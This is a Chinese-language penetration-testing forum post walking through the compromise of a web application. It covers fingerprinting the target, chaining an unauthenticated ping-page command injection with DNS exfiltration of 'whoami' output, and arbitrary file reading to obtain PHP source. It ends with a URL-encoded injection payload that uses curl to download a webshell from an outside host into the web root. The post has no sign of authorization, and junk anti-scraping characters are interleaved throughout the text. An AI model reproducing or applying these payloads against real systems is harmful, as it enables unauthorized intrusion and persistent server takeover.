中国网络渗透测试联盟
标题:
Web安全之实战通过os命令注入漏洞getwebshell
[打印本页]
作者:
admin
时间:
2022-3-31 01:39
标题:
Web安全之实战通过os命令注入漏洞getwebshell
[md]**一、
5 z a( N3 l- f4 n9 Y
** **寻找突破口**
& P+ E/ R$ C: K) I5 N6 l$ `/ a
) J+ X; h8 v7 b4 h) \% ^/ x
**经过右键查看源代码发现系统的特征为:images/select_bg.png,去钟馗之眼搜索如图:**
2 e! F) y+ q4 L: l6 }
% Q% e! J2 k8 p# t H) n7 h {

4 D1 \2 c7 A, D7 ]! C) @
) [! ]2 o! x1 z0 m* M0 G: a
* u& Q$ c! r7 l5 z4 d
0 L+ K9 Q5 y* |' G5 Z$ I
**发现reporter和[Technology,
! Q! S! g' }+ u }+ g
Inc.](
https://www.zoomeye.org/searchRe ... title:%22Technology
,%20Inc.%22&t=all)都采用这个特征,然后一看之前搞过这样的系统,有源代码,对照源代码目录发现了未授权访问页面。**
4 K- z/ U( J9 k7 f; f* y3 G, S0 Q
% E7 A2 M# }4 {: Q. y' m: u
**地址为:**
6 U: b! _1 h2 n) W$ q5 Q
: z1 l8 T7 q5 t; ~! U" w& F
[
http://1.1.1.1//view/systemConfi ... ;text_packetsize=64
](
http://1.1.1.1/view/systemConfig ... ;text_packetsize=64
)**,如图:**
" s9 e* |$ E/ n2 a1 h2 X
0 b& \: |/ ~+ x3 P9 d

9 d4 O& G( N# b) f! U5 R
, H- a) v% H G C% [% w
/ n: B+ z. p X, o# p
0 d; Z: L6 L/ j0 r5 j
**测试ping这里的功能,发现可以绕过ping正常功能执行命令,payload为:**
3 ?1 x- W0 v3 @! x# ?, s( [8 U% E7 P
" G* e! i/ l5 u( G3 y
**`whoami`.1111.ceye.io** **,如图:**
3 N3 {/ t. O# Q R# c4 I- h
# s; X. E/ M2 y2 b. X$ X

0 s" a* A7 s9 {0 B' T( [" l1 n
2 l! Q8 C3 j; G& |
9 D) R+ `! @9 s6 P
' _: \6 ], n2 M% |: s8 F0 q1 c
**返回dns记录如图:**
8 S$ y" V( ]% ~ o) o! o1 W. x
' W6 E8 ~8 P$ X% B; R* D

+ y# L4 ~2 E$ p, b7 U0 e
% p0 c& C" _9 H i
! E Q3 @" t: Z( w. l
9 {2 Y" i. l/ l' z% s4 u' D ~" C
**发现当前用户权限为root**
) }0 i6 T$ |* h
" N9 C+ K! V( p1 o+ x( Q6 h( C
**一、
* T1 G5 q4 A. e4 b& h0 u- l9 b
** **通过漏洞组合getwebshell**
% h/ X% b+ u4 U
! G0 T* C+ u& ~/ c* y- S
** ** **文章就按照挖洞顺序往下写,紧接着执行pwd命令获取web路径,如图:**
C l+ n! g4 \# @0 P
$ n+ m( }" ]3 G; j& e( X

7 d5 ^ X' w: @' C6 T0 B8 v1 I0 I
; J4 }& ?: ^6 K6 X0 C7 e2 Y9 g' q
+ |* t5 T' V/ w& d. V# c0 W
( O: a! w1 A" G8 n. c5 P
**得知网站路径为:/var/www/html/view/systemconfig/systemtool/**
/ T4 H6 L3 c$ \4 W0 i" I
! J1 l* t7 d: w9 j1 c) u
**正好利用burpsuite发现一处os命令注入漏洞与一处任意文件查看漏洞,如下图为任意文件查看漏洞截图**
1 J! Z8 Y5 S H
- }6 c/ B+ u0 O

) d! Q/ F( x& w0 m) K+ G5 b
, J9 \' x: l" L; F( X3 v) q5 g4 S
**Os** **命令注入存的处为:/var/www/html/view/Behavior/toQuery.php,这个路径是通过第一步绕过ping命令正常功能执行命令漏洞获取到的,通过任意文件查看漏洞,我们读取一下源代码**
- L$ o- T: z6 L4 \5 b8 w9 @
/ v/ |+ Y2 ~1 g7 t* {# W
\
9 ?- l8 e- O/ o
( f7 u' U4 z+ f A9 M& {, B
0 d8 f$ [. O! y& u
**源代码为:**
; e! T7 w0 c7 Q5 u: F' \: m& e
/ }! t0 Y [7 `( h( y M
<?php
8 L" Q4 ~5 M m+ c) m7 `( {
include_once($_SERVER["DOCUMENT_ROOT"]."/model/charFilter.php");
$ \1 H ~8 d" r+ G+ s# g
?>
* ]# h; ]2 p3 Q# O
' W( x; }, g! Q! Z: s* M
<?php
0 V/ S6 P1 e! A) y( Q
; H" T! Y8 u3 }* F5 ~4 T8 V
& [( e' [4 ^7 H! A
& Y8 X$ C2 R8 ~: }; Z+ Z
session_start ();
& w# K7 P' X, Y: a# Q9 G( {7 g) r
0 E8 Z4 D: B+ f$ ~* L2 p; t
- `& }1 T0 U& B, u
' ?/ Y/ y, O5 ^' _% z. f
3 t ~; M3 I; p
. i C# O5 e0 D" `( Y! h% M* L
# w7 |/ R/ ]7 ?& P3 W$ j" h: E5 Q
/ D! v1 _2 x5 p# I2 ~- w3 s
if ($_GET ["objClass"] == "")
- e6 Y( O, k4 U# R( \- S
, f8 J) @- E: c4 E
" }# F- A! @7 v
1 N* p6 x0 p! W% G; E
exit ();
& |" \: [7 C! c0 y0 |
* d* U6 `3 j2 T5 ]
+ z2 i# z7 V5 W! o- d
) h+ K% O5 Z7 N- @. Y8 m7 W
$param = $_REQUEST;
( J) E7 A, r% y0 I u2 B
0 m D& ~3 t9 U
! f: P( `) ^' ~! D) Z0 g1 [
0 B t: l) o e8 D9 i
- d$ z) x( l) p
! F6 y# X1 ~8 I. n0 q6 x! l0 t
1 S, S; v' k. G1 w0 O+ B
6 z& O/ K/ G9 \8 h/ W3 l" g( Q
//echo "\n--------------------------\n";
" U% \- t: D2 {9 m, W
9 a- U2 }9 p: W; v- }# C
2 L2 A3 [' E+ y. y
" Q- z! Z" `" L
//print_r($param);
H, \- h- q; X+ v/ Z
* |3 v+ p l: ~: ~2 B) U( } C
+ D! u$ t6 j& M1 U5 {! F, }
) A2 `0 `" c+ e1 \' V( `( d
//echo "\n--------------------------\n";
* `( {% a6 r) k
% C( S$ j+ R6 T
% W9 F: O l% T1 }; K/ C0 f5 ]' a
+ B8 @1 U: L5 ^* h+ _: }% L6 j
[if ($_GET ["method"] ==
& _5 _% i/ r* u% V8 m) I( I
"getList" || $_GET ["method"] == "import" ||
2 \7 M$ U, f- K2 \# F" j S9 H; e0 z' S
$_GET ["method"] == "processAlarm") ](){
! B& P3 G& K/ b$ I% D' G ~7 N: s
2 z8 u6 U' J% ]" H7 u
5 {4 X3 O( y/ p& U1 x
4 g) P7 C& g, _! G
$param
8 d+ @$ \4 E5 L
["user"] = $_SESSION ["s_userName"];
' ~2 G6 y. ~5 N3 T4 m
" J1 n- L& r5 z" E
2 D& z+ t0 G/ p9 |" T! ~" l$ e/ q) F
( t6 K: \$ Q5 f) f2 b4 x
$param
+ Q. k0 B" E5 \
["lan"] = $_SESSION ["lan"];
8 P! t3 T O3 P- W/ ], h% c
1 v6 l4 v) z2 k4 S8 q
' z! p1 l# j1 | t" X
2 g5 T0 G. R E! A* s3 H' l
$param
& W' ]$ }5 g: T# @8 P
["regUserpath"] = $_SESSION ["regUserpath"];
1 z( [6 s+ f n- T* ]( ~+ Q: d
; [* O+ Y3 ?/ A5 z3 Q- K! m
( |9 }$ C% l R# U5 ^
0 j6 ]& t8 [. s8 G3 l/ T9 `' R" t
- \2 F7 S3 J4 p; k" s
8 i$ X; k4 g- e4 {
2 ]: U- q: o- P1 M( b3 e
9 z7 ?* a0 V; @( c8 `. U
exec (
: r$ M; e6 m- i: I' H. ~$ l
"rm -rf /tmp/cache" );
w7 _5 X3 `4 }. f
7 R/ [" r/ i( @
( a7 [7 H9 I7 z* l# L
$ _0 n# @: V. X- T" x8 `
[$cmd = "/usr/local/php/bin/php ".$_SERVER
A( v3 d1 F$ `# m$ o* t/ ~% z
["DOCUMENT_ROOT"] . "system/behavior/behavior_query.php";]()
2 L+ J, |$ a9 p- F
2 b2 @/ e0 S) v- k3 V, i H/ M: c
6 t5 k: {# y l" z- r% s- d
) b3 t+ a% S+ e
$cmd .=
( F# S6 Q. F, \) r+ W, O2 v$ N8 Q
" " . $_GET ["objClass"];
: Y. ?6 ?/ b8 F9 O3 u* a1 k8 z6 g
; y6 O' ~: ]& f* J1 q
2 e$ C- v. m+ E1 P7 y; y+ h
6 s' m% C5 T. X+ k
$cmd .=
% O) K' @) K& H b
" " . $_GET ["method"];
8 S! G7 A7 U7 y9 J. k
6 }0 q2 S$ i5 [2 p
5 i* U/ d- Y B& a/ C% T# X2 ]
H% E# J* J: }/ i( b, L3 B
$cmd .=
+ n" I. a/ V: ?6 c8 W0 [0 |
" " . base64_encode ( json_encode ( $param ) );
4 O" z, g* B5 J! N6 R s
) j! u: K$ V5 n" s1 |
/ \+ G% i( f0 k* @
! s5 M' @2 P9 B0 K: g0 k
[file_put_contents("/tmp/query_cmd",$cmd);]()
@- `1 M2 K8 S9 ]1 r
( m! T* |5 D7 k( B
! Z8 l! ]1 a! X% I( t7 v
/ S1 F9 `/ S c7 i( p* w& G
exec ( $cmd . "
/ v% r( q/ p2 P: q
> /dev/null &" );
7 T3 h" b+ B% d6 g, R
# J1 |# N, ^9 r3 C g, O
' ^6 O- _2 `" S% d' Z
' `4 I: T4 l+ _ d3 {* p- Q
! h. @' K: v# ^- r3 e H
8 _2 w+ P& N! G1 k1 N& T
} else {
0 ?) A/ g3 d2 Z( ?- o( J
3 d; w0 q% A& G. G! y
; j( j, @, [! R, A
3 N( R0 Y0 j, d9 a! V" D. e
require_once
( S0 _# @5 Y* F/ \
($_SERVER ["DOCUMENT_ROOT"] . "system/behavior/behavior_Detail.php");
" \+ [2 }; f$ ?# a/ `8 Y
5 k: T0 n+ T; M8 E6 ?9 t
* K+ O7 I1 \; j2 _/ n4 `* o2 y# i( L
* F4 U0 r: o+ B! |
$obj = new
4 ]8 m) i ?0 ^) \! B* S
QueryInterface ();
. P+ A2 }4 l% Y
$ O6 o; B, ^; L$ A3 ]
1 A+ M+ H/ x7 [! l
5 `; ]+ O4 F5 Q* q- T
$instance =
6 {! Z& }& L5 |
$obj->getInstance ();
! B5 ?3 m! I! K2 P; w5 T; I4 m
/ Q# M" h" J7 x/ L* a
, Z5 Q) s3 ^! W/ M9 l
; s6 K5 U& C# d3 @) ^: w) i2 ]
$instance->invokeMethod
& T" t$ w6 D3 O# K, X# |
( $_GET ["objClass"], $_GET ["method"], $param );
7 } |9 `' y4 I( ~! O7 P' W
( D' w" d7 }" ] I
3 \4 F5 p& _1 C- k6 z
9 A0 ^8 j8 C1 [, A
}
9 P: p2 u& G0 K- A% u' W: @
+ b2 R0 N' p. A; o5 [- v! _4 o% O
7 ? | j9 J1 B) Y
8 p2 A- s. p; _# H
exit ();
: T. n/ G5 Q' N" S( j
! a& y! y) B4 t; }8 U
+ K% O0 s- {' [) m# M
2 ^4 f5 [# X) @# k @( W( i
?>
q+ c/ t, U% O% A
$ y0 Y. W# I6 k
**经常简单审计发现if ($_GET
! ?0 }5 y& M0 X& ^& k" ]; C
["method"] == "getList" || $_GET ["method"] ==
/ K% K3 l. d+ o1 h% g! l
"import" || $_GET ["method"] == "[processAlarm]()"),如果method只要等于getList、import、processAlarm这其中一个,$cmd =
( w7 `- ?! K! S7 }/ k% m! J
"/usr/local/php/bin/php ".$_SERVER ["DOCUMENT_ROOT"] .
" [( Y8 h. d9 o! m5 M+ C+ n
"[system/behavior/behavior_query.php]()"; cmd等于web绝对路径+ system/behavior/behavior_query.php,然后file_put_contents("/tmp/query_cmd",$cmd);**
, }7 }& A9 o- @* W" D
/ I _9 D- f) G
** exec ( $cmd
; }, p' o/ Z+ {9 ?7 ?1 [* p2 Q
. " > /dev/null &" );** **给我们构造了一个命令注入的参数,这里直接造成了OS命令注入漏洞,下面看我演示**
7 M9 ?* g0 E' A6 O; A6 b0 L
( B8 I0 P- T5 |8 z% z- y+ [# ?
& ^1 a' }4 o) l2 t

* }' T2 L4 f `: a" b
) |+ S9 N3 U% j2 i* g7 V3 H9 s
# s- h) x" d4 K8 M- o0 ?- _7 b
; {1 Q' {7 C) f& y# D, a
**图中objClass=存在OS命令注入漏洞,我之前试图通过bash反弹shell,但是测试了一晚上没反弹成功,最后选择了curl下载webshell,payload如下:**
- P' ~/ g. |- P
. s, E) a* r( g5 W
**%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60pcurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%27%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60curl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%5C%22%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php**
+ l- x: n' l0 H( M
_6 ~9 I8 O J4 ?4 i. O- p* Q: @
**我们用url解码如下:**
! A* \* ? b6 z, e, I; {
! w3 w9 m$ ]$ P' v0 \% s* ]2 I& C6 w
**|curl
http://1.1.1.1/qYCwxRz1.zip
-o
7 d* i8 ^! `3 U8 Y# K. S
/var/www/html/images/suiji2.php||`pcurl
http://1.1.1.1/qYCwxRz1.zip
-o /var/www/html/images/suiji2.php` #' |curl
http://1.1.1.1/qYCwxRz1.zip
-o
( n8 I9 h4 ?; b2 {
/var/www/html/images/suiji2.php||`curl
http://1.1.1.1/qYCwxRz1.zip
-o /var/www/html/images/suiji2.php` #\" |curl ** [**
http://1.1.1.1/qYCwxRz1.zip
-o /var/www/html/images/suiji2.php**](
http://8.136.218.186/qYCwxRz1.zi ... l/images/suiji2.php
)
. V6 f1 y. @" E
. E+ F2 H: z0 r' L( D% Z
**使用这么多管道符|就是要闭合payload,最后成功curl下载webshell如图:**
% e/ u1 k* Q' {) \' b
& \) Q, F J. u* `6 M$ @9 S
/ O% S8 Z3 }2 a& u& b# o% A

2 a7 l$ ^2 r3 P7 P) ?) _
) Y( U: c5 S2 {0 O! A6 F
- g& s/ V/ a$ I' @- e
0 N* a3 a1 k0 ~% d
9 N4 V V+ f. ]+ V2 C
**三、总结**
/ E3 I' s, I8 C+ L5 t, r6 q
; n7 B; j) [9 M: f! S( [$ S: g' A+ o
** ** **案例之所以最终获得webshell,很大程度上是取决于几个漏洞的组合,首先通过右键查看源代码找到目标系统使用的系统,因为之前测试过与目标类似的程序。然后“对症下药”找到了ping未授权访问页面,通过绕过ping命令正常功能执行pwd命令获取到网站绝对路径,其次,使用任意文件查看漏洞去读取疑似存在os命令执行漏洞的php进行简单审计,经过确认存在此漏洞,最后构造os命令执行payload,最终getwebshell,整个getwebshell过程就是一个漏洞的连环组合,渗透更多的时候是靠运气,如果这几个环节有一个环节漏洞不存在或者没挖到,可能导致getwebshell失败。**
* Y; C& K3 B2 D$ w3 a1 ?0 o
. d! { d8 d4 k
** ** **综上所述,运气与挖洞功底同等重要,谢谢观看** **! **
3 v+ q6 t+ p/ H+ E- Z# g, _3 h, O
[/md]
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2